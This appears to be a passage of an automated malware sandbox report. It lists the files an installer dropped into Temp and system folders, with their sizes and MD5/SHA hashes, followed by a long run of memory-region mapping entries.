SHA512ed8eb5c722be32ebf6e9c4cb60d2cffac9b6a6f215e83b112cd76f881b7fbffd3ed4e0d60415b855e2df8ba5803eddd25e152ccefa73bc486673c2d5ee36f483
-
C:\Users\Admin\AppData\Local\Temp\7zS7CA7.tmp\Install.exeFilesize
6.7MB
MD5a3a5844f879f532ab98d5ba18ca099bf
SHA112d23302494fcb3a45c0e43c56bc100dbfda84ad
SHA256c0d938a16e6e3f34e89df5588f6ac47c9ab57e8b25a210f34944679776c919a1
SHA512b83086d378fa26dd057b8c683b57fd89db2f6d2a6f7d1dca9ecf66efc097fd8310a0e567da8965c6769d9eee3ade6933ee7a795d04bb20f6d15d7ec3464630a7
-
C:\Users\Admin\AppData\Local\Temp\7zS7CA7.tmp\Install.exeFilesize
6.7MB
MD5a3a5844f879f532ab98d5ba18ca099bf
SHA112d23302494fcb3a45c0e43c56bc100dbfda84ad
SHA256c0d938a16e6e3f34e89df5588f6ac47c9ab57e8b25a210f34944679776c919a1
SHA512b83086d378fa26dd057b8c683b57fd89db2f6d2a6f7d1dca9ecf66efc097fd8310a0e567da8965c6769d9eee3ade6933ee7a795d04bb20f6d15d7ec3464630a7
-
C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\ChQsEQNyswpenHU\KaHoBCD.exeFilesize
6.7MB
MD5a3a5844f879f532ab98d5ba18ca099bf
SHA112d23302494fcb3a45c0e43c56bc100dbfda84ad
SHA256c0d938a16e6e3f34e89df5588f6ac47c9ab57e8b25a210f34944679776c919a1
SHA512b83086d378fa26dd057b8c683b57fd89db2f6d2a6f7d1dca9ecf66efc097fd8310a0e567da8965c6769d9eee3ade6933ee7a795d04bb20f6d15d7ec3464630a7
-
C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\ChQsEQNyswpenHU\KaHoBCD.exeFilesize
6.7MB
MD5a3a5844f879f532ab98d5ba18ca099bf
SHA112d23302494fcb3a45c0e43c56bc100dbfda84ad
SHA256c0d938a16e6e3f34e89df5588f6ac47c9ab57e8b25a210f34944679776c919a1
SHA512b83086d378fa26dd057b8c683b57fd89db2f6d2a6f7d1dca9ecf66efc097fd8310a0e567da8965c6769d9eee3ade6933ee7a795d04bb20f6d15d7ec3464630a7
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD533b19d75aa77114216dbc23f43b195e3
SHA136a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA256b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
SHA512676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
11KB
MD58e0d2a5f94224b1d6c237be3647307db
SHA1eda549858b3f5c5df7a0cfebfbc5327d4eb156de
SHA25630af1d96cbcdc9075bb88ab84d74e878e74d1435ecc59332767b563e35a9d2d5
SHA5122ce5ee39cc8db8d713c6926d863bb7b3f7f9d7dfccbcf391de0129ef2750ddc702bae07c4b2a7265fa2d93100cd59d8b8ed755edfa719001838a05746e631209
-
C:\Windows\Temp\jUlWXsHGbnJNPdLP\oqHWkXuwqeQQHza\vODsFwl.exeFilesize
6.7MB
MD5a3a5844f879f532ab98d5ba18ca099bf
SHA112d23302494fcb3a45c0e43c56bc100dbfda84ad
SHA256c0d938a16e6e3f34e89df5588f6ac47c9ab57e8b25a210f34944679776c919a1
SHA512b83086d378fa26dd057b8c683b57fd89db2f6d2a6f7d1dca9ecf66efc097fd8310a0e567da8965c6769d9eee3ade6933ee7a795d04bb20f6d15d7ec3464630a7
-
C:\Windows\Temp\jUlWXsHGbnJNPdLP\oqHWkXuwqeQQHza\vODsFwl.exeFilesize
6.7MB
MD5a3a5844f879f532ab98d5ba18ca099bf
SHA112d23302494fcb3a45c0e43c56bc100dbfda84ad
SHA256c0d938a16e6e3f34e89df5588f6ac47c9ab57e8b25a210f34944679776c919a1
SHA512b83086d378fa26dd057b8c683b57fd89db2f6d2a6f7d1dca9ecf66efc097fd8310a0e567da8965c6769d9eee3ade6933ee7a795d04bb20f6d15d7ec3464630a7
-
C:\Windows\Temp\jUlWXsHGbnJNPdLP\yKlUOcHU\GrtZbEr.dllFilesize
6.2MB
MD5e352e328cf687644c8721e2630bedfe8
SHA10e1b2807bf28d072db7856ece995eb831009b6b1
SHA25677e09b3ab0ac968ff1785cc52cac7285e8839d616dfef672fe77387cd31b8f3a
SHA5123a2e8a83cec2f899ff7fe8aadaf8789e2f34010261708b514944811b2fa9a65cf4805ea2d683ae951506779cc94ee8ae61601f49bcd5353c1e779e34dbbc2d13
-
C:\Windows\Temp\jUlWXsHGbnJNPdLP\yKlUOcHU\GrtZbEr.dllFilesize
6.2MB
MD5e352e328cf687644c8721e2630bedfe8
SHA10e1b2807bf28d072db7856ece995eb831009b6b1
SHA25677e09b3ab0ac968ff1785cc52cac7285e8839d616dfef672fe77387cd31b8f3a
SHA5123a2e8a83cec2f899ff7fe8aadaf8789e2f34010261708b514944811b2fa9a65cf4805ea2d683ae951506779cc94ee8ae61601f49bcd5353c1e779e34dbbc2d13
-
C:\Windows\system32\GroupPolicy\Machine\Registry.polFilesize
4KB
MD5005f814f903fb626d8d5d88df454ee10
SHA16acf1083ed512f94e7e5f631ffe4e035e9f5e704
SHA256c43b10fdf7f074946fb4c4edc96534e2086d4294d50fd00c67812b6664da758e
SHA512e5e5168484c9f6e301bc96e79798684542ac2165a8f81d77ec84eef2fcb57afc07c7dec30f482980bfe67662e3a8aac901a29e7bae363b3be0747625718beea1
-
C:\Windows\system32\GroupPolicy\gpt.iniFilesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
-
memory/224-197-0x0000000000000000-mapping.dmp
-
memory/316-149-0x0000000000000000-mapping.dmp
-
memory/372-211-0x0000000000000000-mapping.dmp
-
memory/400-158-0x0000000010000000-0x00000000119C6000-memory.dmpFilesize
25.8MB
-
memory/664-155-0x0000000000000000-mapping.dmp
-
memory/788-193-0x0000000000000000-mapping.dmp
-
memory/1068-177-0x0000000000000000-mapping.dmp
-
memory/1072-187-0x0000000000000000-mapping.dmp
-
memory/1144-199-0x0000000000000000-mapping.dmp
-
memory/1412-184-0x0000000000000000-mapping.dmp
-
memory/1452-204-0x0000000000000000-mapping.dmp
-
memory/1528-192-0x0000000000000000-mapping.dmp
-
memory/1620-147-0x0000000000000000-mapping.dmp
-
memory/1652-185-0x0000000000000000-mapping.dmp
-
memory/1832-206-0x0000000000000000-mapping.dmp
-
memory/1836-198-0x0000000000000000-mapping.dmp
-
memory/1844-209-0x0000000000000000-mapping.dmp
-
memory/1908-152-0x0000000000000000-mapping.dmp
-
memory/1924-183-0x0000000000000000-mapping.dmp
-
memory/1992-231-0x000000000B730000-0x000000000B793000-memory.dmpFilesize
396KB
-
memory/1992-227-0x000000000B0E0000-0x000000000B165000-memory.dmpFilesize
532KB
-
memory/1992-245-0x000000000C2E0000-0x000000000C395000-memory.dmpFilesize
724KB
-
memory/1992-241-0x000000000C0A0000-0x000000000C11B000-memory.dmpFilesize
492KB
-
memory/2088-148-0x0000000000000000-mapping.dmp
-
memory/2104-215-0x0000000000000000-mapping.dmp
-
memory/2240-172-0x0000000000000000-mapping.dmp
-
memory/2244-144-0x0000000000000000-mapping.dmp
-
memory/2244-191-0x0000000000000000-mapping.dmp
-
memory/2316-143-0x0000000000000000-mapping.dmp
-
memory/2344-221-0x0000000000000000-mapping.dmp
-
memory/2344-169-0x0000000000000000-mapping.dmp
-
memory/2392-202-0x0000000000000000-mapping.dmp
-
memory/2556-181-0x0000000000000000-mapping.dmp
-
memory/2636-200-0x0000000000000000-mapping.dmp
-
memory/2708-220-0x0000000000000000-mapping.dmp
-
memory/2792-138-0x0000000010000000-0x00000000119C6000-memory.dmpFilesize
25.8MB
-
memory/2792-135-0x0000000000000000-mapping.dmp
-
memory/2800-151-0x0000020EAFC80000-0x0000020EAFCA2000-memory.dmpFilesize
136KB
-
memory/2800-153-0x00007FFD3A320000-0x00007FFD3ADE1000-memory.dmpFilesize
10.8MB
-
memory/2820-180-0x0000000000000000-mapping.dmp
-
memory/2972-161-0x0000000000000000-mapping.dmp
-
memory/2972-167-0x0000000004FB0000-0x0000000004FCE000-memory.dmpFilesize
120KB
-
memory/2972-162-0x0000000001670000-0x00000000016A6000-memory.dmpFilesize
216KB
-
memory/2972-163-0x0000000004180000-0x00000000047A8000-memory.dmpFilesize
6.2MB
-
memory/2972-164-0x0000000004110000-0x0000000004132000-memory.dmpFilesize
136KB
-
memory/2972-165-0x00000000048E0000-0x0000000004946000-memory.dmpFilesize
408KB
-
memory/2972-166-0x00000000049C0000-0x0000000004A26000-memory.dmpFilesize
408KB
-
memory/3016-174-0x0000000000000000-mapping.dmp
-
memory/3036-182-0x0000000000000000-mapping.dmp
-
memory/3068-176-0x0000000000000000-mapping.dmp
-
memory/3084-207-0x0000000000000000-mapping.dmp
-
memory/3112-170-0x0000000000000000-mapping.dmp
-
memory/3280-171-0x0000000000000000-mapping.dmp
-
memory/3336-201-0x0000000000000000-mapping.dmp
-
memory/3476-219-0x00007FFD39F70000-0x00007FFD3AA31000-memory.dmpFilesize
10.8MB
-
memory/3504-150-0x0000000000000000-mapping.dmp
-
memory/3524-154-0x0000000000000000-mapping.dmp
-
memory/3548-218-0x0000000000000000-mapping.dmp
-
memory/3748-175-0x0000000000000000-mapping.dmp
-
memory/3756-208-0x0000000000000000-mapping.dmp
-
memory/4128-196-0x0000000000000000-mapping.dmp
-
memory/4220-179-0x0000000000000000-mapping.dmp
-
memory/4288-145-0x0000000000000000-mapping.dmp
-
memory/4288-189-0x0000000000000000-mapping.dmp
-
memory/4292-203-0x0000000000000000-mapping.dmp
-
memory/4412-214-0x0000000000000000-mapping.dmp
-
memory/4456-141-0x0000000000000000-mapping.dmp
-
memory/4580-142-0x0000000000000000-mapping.dmp
-
memory/4584-210-0x0000000000000000-mapping.dmp
-
memory/4612-146-0x0000000000000000-mapping.dmp
-
memory/4640-212-0x0000000000000000-mapping.dmp
-
memory/4656-178-0x0000000000000000-mapping.dmp
-
memory/4676-173-0x0000000000000000-mapping.dmp
-
memory/4820-205-0x0000000000000000-mapping.dmp
-
memory/4888-168-0x0000000000000000-mapping.dmp
-
memory/4948-190-0x0000000000000000-mapping.dmp
-
memory/4956-188-0x0000000000000000-mapping.dmp
-
memory/5056-132-0x0000000000000000-mapping.dmp
-
memory/5104-186-0x0000000000000000-mapping.dmp
-
memory/5108-248-0x0000000001400000-0x0000000002DC6000-memory.dmpFilesize
25.8MB